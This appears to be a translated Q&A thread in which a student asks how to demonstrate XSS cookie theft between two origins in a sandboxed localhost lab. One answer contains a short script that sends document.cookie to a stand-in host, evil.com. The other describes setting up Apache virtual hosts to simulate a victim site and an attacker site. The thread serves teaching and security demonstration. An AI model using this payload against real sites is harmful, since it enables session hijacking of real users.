如何使用localhost演示SOP的漏洞利用

时间:2011-11-27 12:43:33

标签: javascript same-origin-policy

我在XSHM(跨站点历史操作)上做项目。

我试图说明如何使用XSS(跨站点脚本)可以违反SOP。我已经在沙箱XP机器内设置了一个localhost(WAMP)服务器(必须遵守道德规范),并且使用易受XSS攻击的简单登录脚本。

问题)我想表明,在将恶魔JavaScript代码注入登录页面之后,我可以将用户cookie发送到另一个来源但是如何使用localhost服务器执行此操作?

如果localhost是一个来源(即受害者网站),我如何创建与localhost不同的另一个来源(即坏人网站)来发送cookie?我知道在同一起源要求(协议,端口和域)是相同的。我无法更改为HTTPS localhost和HTTP localhost,因为我没有证书。我似乎无法根据需要更改端口号:80为Web。

我不想使用真实的网站并将cookie发送到localhost脚本,因为这样做是不道德的,也无法执行攻击,因为它不会有XSS漏洞来证明漏洞利用。

有什么想法吗?

2 个答案:

答案 0 :(得分:0)

原点无关紧要,脚本只是在相同的原点上读取文档cookie,然后将其作为字符串发送到服务器,在其中解码,然后手动设置恶意行为者的浏览器或类似的cookie。 / p>

<script>
var img = new Image();
img.src = "http://www.evil.com/c="+escape(document.cookie);
</script>

这会在c参数中发送带有用户cookie详细信息的GET请求,只是请求图像不违反SOP,所以我不知道这是否有用。

答案 1 :(得分:0)

在Apache配置中设置一些virtual hosts,如下所示:

# Ensure that Apache listens on port 80
Listen 80

# Listen for virtual host requests on all IP addresses
NameVirtualHost *:80

<VirtualHost *:80>
DocumentRoot "C:\goodguy"
ServerName goodguy.com

# Other directives here

</VirtualHost>

<VirtualHost *:80>
DocumentRoot "C:\badguy"
ServerName badguy.com

# Other directives here

</VirtualHost>

将他们指向hosts文件中的127.0.0.1

127.0.0.1    goodguy.com
127.0.0.1    badguy.com

现在,使用goodguy.combadguy.com代替localhost

祝你好运!